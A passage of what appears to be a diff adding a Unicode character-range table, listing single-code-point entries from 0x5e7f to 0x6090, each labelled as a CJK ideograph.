+ [0x5e7f, 0x5e7f], /* CJK Ideograph */
+ [0x5e80, 0x5e80], /* CJK Ideograph */
+ [0x5e81, 0x5e81], /* CJK Ideograph */
+ [0x5e82, 0x5e82], /* CJK Ideograph */
+ [0x5e83, 0x5e83], /* CJK Ideograph */
+ [0x5e84, 0x5e84], /* CJK Ideograph */
+ [0x5e85, 0x5e85], /* CJK Ideograph */
+ [0x5e86, 0x5e86], /* CJK Ideograph */
+ [0x5e87, 0x5e87], /* CJK Ideograph */
+ [0x5e88, 0x5e88], /* CJK Ideograph */
+ [0x5e89, 0x5e89], /* CJK Ideograph */
+ [0x5e8a, 0x5e8a], /* CJK Ideograph */
+ [0x5e8b, 0x5e8b], /* CJK Ideograph */
+ [0x5e8c, 0x5e8c], /* CJK Ideograph */
+ [0x5e8d, 0x5e8d], /* CJK Ideograph */
+ [0x5e8e, 0x5e8e], /* CJK Ideograph */
+ [0x5e8f, 0x5e8f], /* CJK Ideograph */
+ [0x5e90, 0x5e90], /* CJK Ideograph */
+ [0x5e91, 0x5e91], /* CJK Ideograph */
+ [0x5e92, 0x5e92], /* CJK Ideograph */
+ [0x5e93, 0x5e93], /* CJK Ideograph */
+ [0x5e94, 0x5e94], /* CJK Ideograph */
+ [0x5e95, 0x5e95], /* CJK Ideograph */
+ [0x5e96, 0x5e96], /* CJK Ideograph */
+ [0x5e97, 0x5e97], /* CJK Ideograph */
+ [0x5e98, 0x5e98], /* CJK Ideograph */
+ [0x5e99, 0x5e99], /* CJK Ideograph */
+ [0x5e9a, 0x5e9a], /* CJK Ideograph */
+ [0x5e9b, 0x5e9b], /* CJK Ideograph */
+ [0x5e9c, 0x5e9c], /* CJK Ideograph */
+ [0x5e9d, 0x5e9d], /* CJK Ideograph */
+ [0x5e9e, 0x5e9e], /* CJK Ideograph */
+ [0x5e9f, 0x5e9f], /* CJK Ideograph */
+ [0x5ea0, 0x5ea0], /* CJK Ideograph */
+ [0x5ea1, 0x5ea1], /* CJK Ideograph */
+ [0x5ea2, 0x5ea2], /* CJK Ideograph */
+ [0x5ea3, 0x5ea3], /* CJK Ideograph */
+ [0x5ea4, 0x5ea4], /* CJK Ideograph */
+ [0x5ea5, 0x5ea5], /* CJK Ideograph */
+ [0x5ea6, 0x5ea6], /* CJK Ideograph */
+ [0x5ea7, 0x5ea7], /* CJK Ideograph */
+ [0x5ea8, 0x5ea8], /* CJK Ideograph */
+ [0x5ea9, 0x5ea9], /* CJK Ideograph */
+ [0x5eaa, 0x5eaa], /* CJK Ideograph */
+ [0x5eab, 0x5eab], /* CJK Ideograph */
+ [0x5eac, 0x5eac], /* CJK Ideograph */
+ [0x5ead, 0x5ead], /* CJK Ideograph */
+ [0x5eae, 0x5eae], /* CJK Ideograph */
+ [0x5eaf, 0x5eaf], /* CJK Ideograph */
+ [0x5eb0, 0x5eb0], /* CJK Ideograph */
+ [0x5eb1, 0x5eb1], /* CJK Ideograph */
+ [0x5eb2, 0x5eb2], /* CJK Ideograph */
+ [0x5eb3, 0x5eb3], /* CJK Ideograph */
+ [0x5eb4, 0x5eb4], /* CJK Ideograph */
+ [0x5eb5, 0x5eb5], /* CJK Ideograph */
+ [0x5eb6, 0x5eb6], /* CJK Ideograph */
+ [0x5eb7, 0x5eb7], /* CJK Ideograph */
+ [0x5eb8, 0x5eb8], /* CJK Ideograph */
+ [0x5eb9, 0x5eb9], /* CJK Ideograph */
+ [0x5eba, 0x5eba], /* CJK Ideograph */
+ [0x5ebb, 0x5ebb], /* CJK Ideograph */
+ [0x5ebc, 0x5ebc], /* CJK Ideograph */
+ [0x5ebd, 0x5ebd], /* CJK Ideograph */
+ [0x5ebe, 0x5ebe], /* CJK Ideograph */
+ [0x5ebf, 0x5ebf], /* CJK Ideograph */
+ [0x5ec0, 0x5ec0], /* CJK Ideograph */
+ [0x5ec1, 0x5ec1], /* CJK Ideograph */
+ [0x5ec2, 0x5ec2], /* CJK Ideograph */
+ [0x5ec3, 0x5ec3], /* CJK Ideograph */
+ [0x5ec4, 0x5ec4], /* CJK Ideograph */
+ [0x5ec5, 0x5ec5], /* CJK Ideograph */
+ [0x5ec6, 0x5ec6], /* CJK Ideograph */
+ [0x5ec7, 0x5ec7], /* CJK Ideograph */
+ [0x5ec8, 0x5ec8], /* CJK Ideograph */
+ [0x5ec9, 0x5ec9], /* CJK Ideograph */
+ [0x5eca, 0x5eca], /* CJK Ideograph */
+ [0x5ecb, 0x5ecb], /* CJK Ideograph */
+ [0x5ecc, 0x5ecc], /* CJK Ideograph */
+ [0x5ecd, 0x5ecd], /* CJK Ideograph */
+ [0x5ece, 0x5ece], /* CJK Ideograph */
+ [0x5ecf, 0x5ecf], /* CJK Ideograph */
+ [0x5ed0, 0x5ed0], /* CJK Ideograph */
+ [0x5ed1, 0x5ed1], /* CJK Ideograph */
+ [0x5ed2, 0x5ed2], /* CJK Ideograph */
+ [0x5ed3, 0x5ed3], /* CJK Ideograph */
+ [0x5ed4, 0x5ed4], /* CJK Ideograph */
+ [0x5ed5, 0x5ed5], /* CJK Ideograph */
+ [0x5ed6, 0x5ed6], /* CJK Ideograph */
+ [0x5ed7, 0x5ed7], /* CJK Ideograph */
+ [0x5ed8, 0x5ed8], /* CJK Ideograph */
+ [0x5ed9, 0x5ed9], /* CJK Ideograph */
+ [0x5eda, 0x5eda], /* CJK Ideograph */
+ [0x5edb, 0x5edb], /* CJK Ideograph */
+ [0x5edc, 0x5edc], /* CJK Ideograph */
+ [0x5edd, 0x5edd], /* CJK Ideograph */
+ [0x5ede, 0x5ede], /* CJK Ideograph */
+ [0x5edf, 0x5edf], /* CJK Ideograph */
+ [0x5ee0, 0x5ee0], /* CJK Ideograph */
+ [0x5ee1, 0x5ee1], /* CJK Ideograph */
+ [0x5ee2, 0x5ee2], /* CJK Ideograph */
+ [0x5ee3, 0x5ee3], /* CJK Ideograph */
+ [0x5ee4, 0x5ee4], /* CJK Ideograph */
+ [0x5ee5, 0x5ee5], /* CJK Ideograph */
+ [0x5ee6, 0x5ee6], /* CJK Ideograph */
+ [0x5ee7, 0x5ee7], /* CJK Ideograph */
+ [0x5ee8, 0x5ee8], /* CJK Ideograph */
+ [0x5ee9, 0x5ee9], /* CJK Ideograph */
+ [0x5eea, 0x5eea], /* CJK Ideograph */
+ [0x5eeb, 0x5eeb], /* CJK Ideograph */
+ [0x5eec, 0x5eec], /* CJK Ideograph */
+ [0x5eed, 0x5eed], /* CJK Ideograph */
+ [0x5eee, 0x5eee], /* CJK Ideograph */
+ [0x5eef, 0x5eef], /* CJK Ideograph */
+ [0x5ef0, 0x5ef0], /* CJK Ideograph */
+ [0x5ef1, 0x5ef1], /* CJK Ideograph */
+ [0x5ef2, 0x5ef2], /* CJK Ideograph */
+ [0x5ef3, 0x5ef3], /* CJK Ideograph */
+ [0x5ef4, 0x5ef4], /* CJK Ideograph */
+ [0x5ef5, 0x5ef5], /* CJK Ideograph */
+ [0x5ef6, 0x5ef6], /* CJK Ideograph */
+ [0x5ef7, 0x5ef7], /* CJK Ideograph */
+ [0x5ef8, 0x5ef8], /* CJK Ideograph */
+ [0x5ef9, 0x5ef9], /* CJK Ideograph */
+ [0x5efa, 0x5efa], /* CJK Ideograph */
+ [0x5efb, 0x5efb], /* CJK Ideograph */
+ [0x5efc, 0x5efc], /* CJK Ideograph */
+ [0x5efd, 0x5efd], /* CJK Ideograph */
+ [0x5efe, 0x5efe], /* CJK Ideograph */
+ [0x5eff, 0x5eff], /* CJK Ideograph */
+ [0x5f00, 0x5f00], /* CJK Ideograph */
+ [0x5f01, 0x5f01], /* CJK Ideograph */
+ [0x5f02, 0x5f02], /* CJK Ideograph */
+ [0x5f03, 0x5f03], /* CJK Ideograph */
+ [0x5f04, 0x5f04], /* CJK Ideograph */
+ [0x5f05, 0x5f05], /* CJK Ideograph */
+ [0x5f06, 0x5f06], /* CJK Ideograph */
+ [0x5f07, 0x5f07], /* CJK Ideograph */
+ [0x5f08, 0x5f08], /* CJK Ideograph */
+ [0x5f09, 0x5f09], /* CJK Ideograph */
+ [0x5f0a, 0x5f0a], /* CJK Ideograph */
+ [0x5f0b, 0x5f0b], /* CJK Ideograph */
+ [0x5f0c, 0x5f0c], /* CJK Ideograph */
+ [0x5f0d, 0x5f0d], /* CJK Ideograph */
+ [0x5f0e, 0x5f0e], /* CJK Ideograph */
+ [0x5f0f, 0x5f0f], /* CJK Ideograph */
+ [0x5f10, 0x5f10], /* CJK Ideograph */
+ [0x5f11, 0x5f11], /* CJK Ideograph */
+ [0x5f12, 0x5f12], /* CJK Ideograph */
+ [0x5f13, 0x5f13], /* CJK Ideograph */
+ [0x5f14, 0x5f14], /* CJK Ideograph */
+ [0x5f15, 0x5f15], /* CJK Ideograph */
+ [0x5f16, 0x5f16], /* CJK Ideograph */
+ [0x5f17, 0x5f17], /* CJK Ideograph */
+ [0x5f18, 0x5f18], /* CJK Ideograph */
+ [0x5f19, 0x5f19], /* CJK Ideograph */
+ [0x5f1a, 0x5f1a], /* CJK Ideograph */
+ [0x5f1b, 0x5f1b], /* CJK Ideograph */
+ [0x5f1c, 0x5f1c], /* CJK Ideograph */
+ [0x5f1d, 0x5f1d], /* CJK Ideograph */
+ [0x5f1e, 0x5f1e], /* CJK Ideograph */
+ [0x5f1f, 0x5f1f], /* CJK Ideograph */
+ [0x5f20, 0x5f20], /* CJK Ideograph */
+ [0x5f21, 0x5f21], /* CJK Ideograph */
+ [0x5f22, 0x5f22], /* CJK Ideograph */
+ [0x5f23, 0x5f23], /* CJK Ideograph */
+ [0x5f24, 0x5f24], /* CJK Ideograph */
+ [0x5f25, 0x5f25], /* CJK Ideograph */
+ [0x5f26, 0x5f26], /* CJK Ideograph */
+ [0x5f27, 0x5f27], /* CJK Ideograph */
+ [0x5f28, 0x5f28], /* CJK Ideograph */
+ [0x5f29, 0x5f29], /* CJK Ideograph */
+ [0x5f2a, 0x5f2a], /* CJK Ideograph */
+ [0x5f2b, 0x5f2b], /* CJK Ideograph */
+ [0x5f2c, 0x5f2c], /* CJK Ideograph */
+ [0x5f2d, 0x5f2d], /* CJK Ideograph */
+ [0x5f2e, 0x5f2e], /* CJK Ideograph */
+ [0x5f2f, 0x5f2f], /* CJK Ideograph */
+ [0x5f30, 0x5f30], /* CJK Ideograph */
+ [0x5f31, 0x5f31], /* CJK Ideograph */
+ [0x5f32, 0x5f32], /* CJK Ideograph */
+ [0x5f33, 0x5f33], /* CJK Ideograph */
+ [0x5f34, 0x5f34], /* CJK Ideograph */
+ [0x5f35, 0x5f35], /* CJK Ideograph */
+ [0x5f36, 0x5f36], /* CJK Ideograph */
+ [0x5f37, 0x5f37], /* CJK Ideograph */
+ [0x5f38, 0x5f38], /* CJK Ideograph */
+ [0x5f39, 0x5f39], /* CJK Ideograph */
+ [0x5f3a, 0x5f3a], /* CJK Ideograph */
+ [0x5f3b, 0x5f3b], /* CJK Ideograph */
+ [0x5f3c, 0x5f3c], /* CJK Ideograph */
+ [0x5f3d, 0x5f3d], /* CJK Ideograph */
+ [0x5f3e, 0x5f3e], /* CJK Ideograph */
+ [0x5f3f, 0x5f3f], /* CJK Ideograph */
+ [0x5f40, 0x5f40], /* CJK Ideograph */
+ [0x5f41, 0x5f41], /* CJK Ideograph */
+ [0x5f42, 0x5f42], /* CJK Ideograph */
+ [0x5f43, 0x5f43], /* CJK Ideograph */
+ [0x5f44, 0x5f44], /* CJK Ideograph */
+ [0x5f45, 0x5f45], /* CJK Ideograph */
+ [0x5f46, 0x5f46], /* CJK Ideograph */
+ [0x5f47, 0x5f47], /* CJK Ideograph */
+ [0x5f48, 0x5f48], /* CJK Ideograph */
+ [0x5f49, 0x5f49], /* CJK Ideograph */
+ [0x5f4a, 0x5f4a], /* CJK Ideograph */
+ [0x5f4b, 0x5f4b], /* CJK Ideograph */
+ [0x5f4c, 0x5f4c], /* CJK Ideograph */
+ [0x5f4d, 0x5f4d], /* CJK Ideograph */
+ [0x5f4e, 0x5f4e], /* CJK Ideograph */
+ [0x5f4f, 0x5f4f], /* CJK Ideograph */
+ [0x5f50, 0x5f50], /* CJK Ideograph */
+ [0x5f51, 0x5f51], /* CJK Ideograph */
+ [0x5f52, 0x5f52], /* CJK Ideograph */
+ [0x5f53, 0x5f53], /* CJK Ideograph */
+ [0x5f54, 0x5f54], /* CJK Ideograph */
+ [0x5f55, 0x5f55], /* CJK Ideograph */
+ [0x5f56, 0x5f56], /* CJK Ideograph */
+ [0x5f57, 0x5f57], /* CJK Ideograph */
+ [0x5f58, 0x5f58], /* CJK Ideograph */
+ [0x5f59, 0x5f59], /* CJK Ideograph */
+ [0x5f5a, 0x5f5a], /* CJK Ideograph */
+ [0x5f5b, 0x5f5b], /* CJK Ideograph */
+ [0x5f5c, 0x5f5c], /* CJK Ideograph */
+ [0x5f5d, 0x5f5d], /* CJK Ideograph */
+ [0x5f5e, 0x5f5e], /* CJK Ideograph */
+ [0x5f5f, 0x5f5f], /* CJK Ideograph */
+ [0x5f60, 0x5f60], /* CJK Ideograph */
+ [0x5f61, 0x5f61], /* CJK Ideograph */
+ [0x5f62, 0x5f62], /* CJK Ideograph */
+ [0x5f63, 0x5f63], /* CJK Ideograph */
+ [0x5f64, 0x5f64], /* CJK Ideograph */
+ [0x5f65, 0x5f65], /* CJK Ideograph */
+ [0x5f66, 0x5f66], /* CJK Ideograph */
+ [0x5f67, 0x5f67], /* CJK Ideograph */
+ [0x5f68, 0x5f68], /* CJK Ideograph */
+ [0x5f69, 0x5f69], /* CJK Ideograph */
+ [0x5f6a, 0x5f6a], /* CJK Ideograph */
+ [0x5f6b, 0x5f6b], /* CJK Ideograph */
+ [0x5f6c, 0x5f6c], /* CJK Ideograph */
+ [0x5f6d, 0x5f6d], /* CJK Ideograph */
+ [0x5f6e, 0x5f6e], /* CJK Ideograph */
+ [0x5f6f, 0x5f6f], /* CJK Ideograph */
+ [0x5f70, 0x5f70], /* CJK Ideograph */
+ [0x5f71, 0x5f71], /* CJK Ideograph */
+ [0x5f72, 0x5f72], /* CJK Ideograph */
+ [0x5f73, 0x5f73], /* CJK Ideograph */
+ [0x5f74, 0x5f74], /* CJK Ideograph */
+ [0x5f75, 0x5f75], /* CJK Ideograph */
+ [0x5f76, 0x5f76], /* CJK Ideograph */
+ [0x5f77, 0x5f77], /* CJK Ideograph */
+ [0x5f78, 0x5f78], /* CJK Ideograph */
+ [0x5f79, 0x5f79], /* CJK Ideograph */
+ [0x5f7a, 0x5f7a], /* CJK Ideograph */
+ [0x5f7b, 0x5f7b], /* CJK Ideograph */
+ [0x5f7c, 0x5f7c], /* CJK Ideograph */
+ [0x5f7d, 0x5f7d], /* CJK Ideograph */
+ [0x5f7e, 0x5f7e], /* CJK Ideograph */
+ [0x5f7f, 0x5f7f], /* CJK Ideograph */
+ [0x5f80, 0x5f80], /* CJK Ideograph */
+ [0x5f81, 0x5f81], /* CJK Ideograph */
+ [0x5f82, 0x5f82], /* CJK Ideograph */
+ [0x5f83, 0x5f83], /* CJK Ideograph */
+ [0x5f84, 0x5f84], /* CJK Ideograph */
+ [0x5f85, 0x5f85], /* CJK Ideograph */
+ [0x5f86, 0x5f86], /* CJK Ideograph */
+ [0x5f87, 0x5f87], /* CJK Ideograph */
+ [0x5f88, 0x5f88], /* CJK Ideograph */
+ [0x5f89, 0x5f89], /* CJK Ideograph */
+ [0x5f8a, 0x5f8a], /* CJK Ideograph */
+ [0x5f8b, 0x5f8b], /* CJK Ideograph */
+ [0x5f8c, 0x5f8c], /* CJK Ideograph */
+ [0x5f8d, 0x5f8d], /* CJK Ideograph */
+ [0x5f8e, 0x5f8e], /* CJK Ideograph */
+ [0x5f8f, 0x5f8f], /* CJK Ideograph */
+ [0x5f90, 0x5f90], /* CJK Ideograph */
+ [0x5f91, 0x5f91], /* CJK Ideograph */
+ [0x5f92, 0x5f92], /* CJK Ideograph */
+ [0x5f93, 0x5f93], /* CJK Ideograph */
+ [0x5f94, 0x5f94], /* CJK Ideograph */
+ [0x5f95, 0x5f95], /* CJK Ideograph */
+ [0x5f96, 0x5f96], /* CJK Ideograph */
+ [0x5f97, 0x5f97], /* CJK Ideograph */
+ [0x5f98, 0x5f98], /* CJK Ideograph */
+ [0x5f99, 0x5f99], /* CJK Ideograph */
+ [0x5f9a, 0x5f9a], /* CJK Ideograph */
+ [0x5f9b, 0x5f9b], /* CJK Ideograph */
+ [0x5f9c, 0x5f9c], /* CJK Ideograph */
+ [0x5f9d, 0x5f9d], /* CJK Ideograph */
+ [0x5f9e, 0x5f9e], /* CJK Ideograph */
+ [0x5f9f, 0x5f9f], /* CJK Ideograph */
+ [0x5fa0, 0x5fa0], /* CJK Ideograph */
+ [0x5fa1, 0x5fa1], /* CJK Ideograph */
+ [0x5fa2, 0x5fa2], /* CJK Ideograph */
+ [0x5fa3, 0x5fa3], /* CJK Ideograph */
+ [0x5fa4, 0x5fa4], /* CJK Ideograph */
+ [0x5fa5, 0x5fa5], /* CJK Ideograph */
+ [0x5fa6, 0x5fa6], /* CJK Ideograph */
+ [0x5fa7, 0x5fa7], /* CJK Ideograph */
+ [0x5fa8, 0x5fa8], /* CJK Ideograph */
+ [0x5fa9, 0x5fa9], /* CJK Ideograph */
+ [0x5faa, 0x5faa], /* CJK Ideograph */
+ [0x5fab, 0x5fab], /* CJK Ideograph */
+ [0x5fac, 0x5fac], /* CJK Ideograph */
+ [0x5fad, 0x5fad], /* CJK Ideograph */
+ [0x5fae, 0x5fae], /* CJK Ideograph */
+ [0x5faf, 0x5faf], /* CJK Ideograph */
+ [0x5fb0, 0x5fb0], /* CJK Ideograph */
+ [0x5fb1, 0x5fb1], /* CJK Ideograph */
+ [0x5fb2, 0x5fb2], /* CJK Ideograph */
+ [0x5fb3, 0x5fb3], /* CJK Ideograph */
+ [0x5fb4, 0x5fb4], /* CJK Ideograph */
+ [0x5fb5, 0x5fb5], /* CJK Ideograph */
+ [0x5fb6, 0x5fb6], /* CJK Ideograph */
+ [0x5fb7, 0x5fb7], /* CJK Ideograph */
+ [0x5fb8, 0x5fb8], /* CJK Ideograph */
+ [0x5fb9, 0x5fb9], /* CJK Ideograph */
+ [0x5fba, 0x5fba], /* CJK Ideograph */
+ [0x5fbb, 0x5fbb], /* CJK Ideograph */
+ [0x5fbc, 0x5fbc], /* CJK Ideograph */
+ [0x5fbd, 0x5fbd], /* CJK Ideograph */
+ [0x5fbe, 0x5fbe], /* CJK Ideograph */
+ [0x5fbf, 0x5fbf], /* CJK Ideograph */
+ [0x5fc0, 0x5fc0], /* CJK Ideograph */
+ [0x5fc1, 0x5fc1], /* CJK Ideograph */
+ [0x5fc2, 0x5fc2], /* CJK Ideograph */
+ [0x5fc3, 0x5fc3], /* CJK Ideograph */
+ [0x5fc4, 0x5fc4], /* CJK Ideograph */
+ [0x5fc5, 0x5fc5], /* CJK Ideograph */
+ [0x5fc6, 0x5fc6], /* CJK Ideograph */
+ [0x5fc7, 0x5fc7], /* CJK Ideograph */
+ [0x5fc8, 0x5fc8], /* CJK Ideograph */
+ [0x5fc9, 0x5fc9], /* CJK Ideograph */
+ [0x5fca, 0x5fca], /* CJK Ideograph */
+ [0x5fcb, 0x5fcb], /* CJK Ideograph */
+ [0x5fcc, 0x5fcc], /* CJK Ideograph */
+ [0x5fcd, 0x5fcd], /* CJK Ideograph */
+ [0x5fce, 0x5fce], /* CJK Ideograph */
+ [0x5fcf, 0x5fcf], /* CJK Ideograph */
+ [0x5fd0, 0x5fd0], /* CJK Ideograph */
+ [0x5fd1, 0x5fd1], /* CJK Ideograph */
+ [0x5fd2, 0x5fd2], /* CJK Ideograph */
+ [0x5fd3, 0x5fd3], /* CJK Ideograph */
+ [0x5fd4, 0x5fd4], /* CJK Ideograph */
+ [0x5fd5, 0x5fd5], /* CJK Ideograph */
+ [0x5fd6, 0x5fd6], /* CJK Ideograph */
+ [0x5fd7, 0x5fd7], /* CJK Ideograph */
+ [0x5fd8, 0x5fd8], /* CJK Ideograph */
+ [0x5fd9, 0x5fd9], /* CJK Ideograph */
+ [0x5fda, 0x5fda], /* CJK Ideograph */
+ [0x5fdb, 0x5fdb], /* CJK Ideograph */
+ [0x5fdc, 0x5fdc], /* CJK Ideograph */
+ [0x5fdd, 0x5fdd], /* CJK Ideograph */
+ [0x5fde, 0x5fde], /* CJK Ideograph */
+ [0x5fdf, 0x5fdf], /* CJK Ideograph */
+ [0x5fe0, 0x5fe0], /* CJK Ideograph */
+ [0x5fe1, 0x5fe1], /* CJK Ideograph */
+ [0x5fe2, 0x5fe2], /* CJK Ideograph */
+ [0x5fe3, 0x5fe3], /* CJK Ideograph */
+ [0x5fe4, 0x5fe4], /* CJK Ideograph */
+ [0x5fe5, 0x5fe5], /* CJK Ideograph */
+ [0x5fe6, 0x5fe6], /* CJK Ideograph */
+ [0x5fe7, 0x5fe7], /* CJK Ideograph */
+ [0x5fe8, 0x5fe8], /* CJK Ideograph */
+ [0x5fe9, 0x5fe9], /* CJK Ideograph */
+ [0x5fea, 0x5fea], /* CJK Ideograph */
+ [0x5feb, 0x5feb], /* CJK Ideograph */
+ [0x5fec, 0x5fec], /* CJK Ideograph */
+ [0x5fed, 0x5fed], /* CJK Ideograph */
+ [0x5fee, 0x5fee], /* CJK Ideograph */
+ [0x5fef, 0x5fef], /* CJK Ideograph */
+ [0x5ff0, 0x5ff0], /* CJK Ideograph */
+ [0x5ff1, 0x5ff1], /* CJK Ideograph */
+ [0x5ff2, 0x5ff2], /* CJK Ideograph */
+ [0x5ff3, 0x5ff3], /* CJK Ideograph */
+ [0x5ff4, 0x5ff4], /* CJK Ideograph */
+ [0x5ff5, 0x5ff5], /* CJK Ideograph */
+ [0x5ff6, 0x5ff6], /* CJK Ideograph */
+ [0x5ff7, 0x5ff7], /* CJK Ideograph */
+ [0x5ff8, 0x5ff8], /* CJK Ideograph */
+ [0x5ff9, 0x5ff9], /* CJK Ideograph */
+ [0x5ffa, 0x5ffa], /* CJK Ideograph */
+ [0x5ffb, 0x5ffb], /* CJK Ideograph */
+ [0x5ffc, 0x5ffc], /* CJK Ideograph */
+ [0x5ffd, 0x5ffd], /* CJK Ideograph */
+ [0x5ffe, 0x5ffe], /* CJK Ideograph */
+ [0x5fff, 0x5fff], /* CJK Ideograph */
+ [0x6000, 0x6000], /* CJK Ideograph */
+ [0x6001, 0x6001], /* CJK Ideograph */
+ [0x6002, 0x6002], /* CJK Ideograph */
+ [0x6003, 0x6003], /* CJK Ideograph */
+ [0x6004, 0x6004], /* CJK Ideograph */
+ [0x6005, 0x6005], /* CJK Ideograph */
+ [0x6006, 0x6006], /* CJK Ideograph */
+ [0x6007, 0x6007], /* CJK Ideograph */
+ [0x6008, 0x6008], /* CJK Ideograph */
+ [0x6009, 0x6009], /* CJK Ideograph */
+ [0x600a, 0x600a], /* CJK Ideograph */
+ [0x600b, 0x600b], /* CJK Ideograph */
+ [0x600c, 0x600c], /* CJK Ideograph */
+ [0x600d, 0x600d], /* CJK Ideograph */
+ [0x600e, 0x600e], /* CJK Ideograph */
+ [0x600f, 0x600f], /* CJK Ideograph */
+ [0x6010, 0x6010], /* CJK Ideograph */
+ [0x6011, 0x6011], /* CJK Ideograph */
+ [0x6012, 0x6012], /* CJK Ideograph */
+ [0x6013, 0x6013], /* CJK Ideograph */
+ [0x6014, 0x6014], /* CJK Ideograph */
+ [0x6015, 0x6015], /* CJK Ideograph */
+ [0x6016, 0x6016], /* CJK Ideograph */
+ [0x6017, 0x6017], /* CJK Ideograph */
+ [0x6018, 0x6018], /* CJK Ideograph */
+ [0x6019, 0x6019], /* CJK Ideograph */
+ [0x601a, 0x601a], /* CJK Ideograph */
+ [0x601b, 0x601b], /* CJK Ideograph */
+ [0x601c, 0x601c], /* CJK Ideograph */
+ [0x601d, 0x601d], /* CJK Ideograph */
+ [0x601e, 0x601e], /* CJK Ideograph */
+ [0x601f, 0x601f], /* CJK Ideograph */
+ [0x6020, 0x6020], /* CJK Ideograph */
+ [0x6021, 0x6021], /* CJK Ideograph */
+ [0x6022, 0x6022], /* CJK Ideograph */
+ [0x6023, 0x6023], /* CJK Ideograph */
+ [0x6024, 0x6024], /* CJK Ideograph */
+ [0x6025, 0x6025], /* CJK Ideograph */
+ [0x6026, 0x6026], /* CJK Ideograph */
+ [0x6027, 0x6027], /* CJK Ideograph */
+ [0x6028, 0x6028], /* CJK Ideograph */
+ [0x6029, 0x6029], /* CJK Ideograph */
+ [0x602a, 0x602a], /* CJK Ideograph */
+ [0x602b, 0x602b], /* CJK Ideograph */
+ [0x602c, 0x602c], /* CJK Ideograph */
+ [0x602d, 0x602d], /* CJK Ideograph */
+ [0x602e, 0x602e], /* CJK Ideograph */
+ [0x602f, 0x602f], /* CJK Ideograph */
+ [0x6030, 0x6030], /* CJK Ideograph */
+ [0x6031, 0x6031], /* CJK Ideograph */
+ [0x6032, 0x6032], /* CJK Ideograph */
+ [0x6033, 0x6033], /* CJK Ideograph */
+ [0x6034, 0x6034], /* CJK Ideograph */
+ [0x6035, 0x6035], /* CJK Ideograph */
+ [0x6036, 0x6036], /* CJK Ideograph */
+ [0x6037, 0x6037], /* CJK Ideograph */
+ [0x6038, 0x6038], /* CJK Ideograph */
+ [0x6039, 0x6039], /* CJK Ideograph */
+ [0x603a, 0x603a], /* CJK Ideograph */
+ [0x603b, 0x603b], /* CJK Ideograph */
+ [0x603c, 0x603c], /* CJK Ideograph */
+ [0x603d, 0x603d], /* CJK Ideograph */
+ [0x603e, 0x603e], /* CJK Ideograph */
+ [0x603f, 0x603f], /* CJK Ideograph */
+ [0x6040, 0x6040], /* CJK Ideograph */
+ [0x6041, 0x6041], /* CJK Ideograph */
+ [0x6042, 0x6042], /* CJK Ideograph */
+ [0x6043, 0x6043], /* CJK Ideograph */
+ [0x6044, 0x6044], /* CJK Ideograph */
+ [0x6045, 0x6045], /* CJK Ideograph */
+ [0x6046, 0x6046], /* CJK Ideograph */
+ [0x6047, 0x6047], /* CJK Ideograph */
+ [0x6048, 0x6048], /* CJK Ideograph */
+ [0x6049, 0x6049], /* CJK Ideograph */
+ [0x604a, 0x604a], /* CJK Ideograph */
+ [0x604b, 0x604b], /* CJK Ideograph */
+ [0x604c, 0x604c], /* CJK Ideograph */
+ [0x604d, 0x604d], /* CJK Ideograph */
+ [0x604e, 0x604e], /* CJK Ideograph */
+ [0x604f, 0x604f], /* CJK Ideograph */
+ [0x6050, 0x6050], /* CJK Ideograph */
+ [0x6051, 0x6051], /* CJK Ideograph */
+ [0x6052, 0x6052], /* CJK Ideograph */
+ [0x6053, 0x6053], /* CJK Ideograph */
+ [0x6054, 0x6054], /* CJK Ideograph */
+ [0x6055, 0x6055], /* CJK Ideograph */
+ [0x6056, 0x6056], /* CJK Ideograph */
+ [0x6057, 0x6057], /* CJK Ideograph */
+ [0x6058, 0x6058], /* CJK Ideograph */
+ [0x6059, 0x6059], /* CJK Ideograph */
+ [0x605a, 0x605a], /* CJK Ideograph */
+ [0x605b, 0x605b], /* CJK Ideograph */
+ [0x605c, 0x605c], /* CJK Ideograph */
+ [0x605d, 0x605d], /* CJK Ideograph */
+ [0x605e, 0x605e], /* CJK Ideograph */
+ [0x605f, 0x605f], /* CJK Ideograph */
+ [0x6060, 0x6060], /* CJK Ideograph */
+ [0x6061, 0x6061], /* CJK Ideograph */
+ [0x6062, 0x6062], /* CJK Ideograph */
+ [0x6063, 0x6063], /* CJK Ideograph */
+ [0x6064, 0x6064], /* CJK Ideograph */
+ [0x6065, 0x6065], /* CJK Ideograph */
+ [0x6066, 0x6066], /* CJK Ideograph */
+ [0x6067, 0x6067], /* CJK Ideograph */
+ [0x6068, 0x6068], /* CJK Ideograph */
+ [0x6069, 0x6069], /* CJK Ideograph */
+ [0x606a, 0x606a], /* CJK Ideograph */
+ [0x606b, 0x606b], /* CJK Ideograph */
+ [0x606c, 0x606c], /* CJK Ideograph */
+ [0x606d, 0x606d], /* CJK Ideograph */
+ [0x606e, 0x606e], /* CJK Ideograph */
+ [0x606f, 0x606f], /* CJK Ideograph */
+ [0x6070, 0x6070], /* CJK Ideograph */
+ [0x6071, 0x6071], /* CJK Ideograph */
+ [0x6072, 0x6072], /* CJK Ideograph */
+ [0x6073, 0x6073], /* CJK Ideograph */
+ [0x6074, 0x6074], /* CJK Ideograph */
+ [0x6075, 0x6075], /* CJK Ideograph */
+ [0x6076, 0x6076], /* CJK Ideograph */
+ [0x6077, 0x6077], /* CJK Ideograph */
+ [0x6078, 0x6078], /* CJK Ideograph */
+ [0x6079, 0x6079], /* CJK Ideograph */
+ [0x607a, 0x607a], /* CJK Ideograph */
+ [0x607b, 0x607b], /* CJK Ideograph */
+ [0x607c, 0x607c], /* CJK Ideograph */
+ [0x607d, 0x607d], /* CJK Ideograph */
+ [0x607e, 0x607e], /* CJK Ideograph */
+ [0x607f, 0x607f], /* CJK Ideograph */
+ [0x6080, 0x6080], /* CJK Ideograph */
+ [0x6081, 0x6081], /* CJK Ideograph */
+ [0x6082, 0x6082], /* CJK Ideograph */
+ [0x6083, 0x6083], /* CJK Ideograph */
+ [0x6084, 0x6084], /* CJK Ideograph */
+ [0x6085, 0x6085], /* CJK Ideograph */
+ [0x6086, 0x6086], /* CJK Ideograph */
+ [0x6087, 0x6087], /* CJK Ideograph */
+ [0x6088, 0x6088], /* CJK Ideograph */
+ [0x6089, 0x6089], /* CJK Ideograph */
+ [0x608a, 0x608a], /* CJK Ideograph */
+ [0x608b, 0x608b], /* CJK Ideograph */
+ [0x608c, 0x608c], /* CJK Ideograph */
+ [0x608d, 0x608d], /* CJK Ideograph */
+ [0x608e, 0x608e], /* CJK Ideograph */
+ [0x608f, 0x608f], /* CJK Ideograph */
+ [0x6090, 0x6090], /* CJK Ideograph */
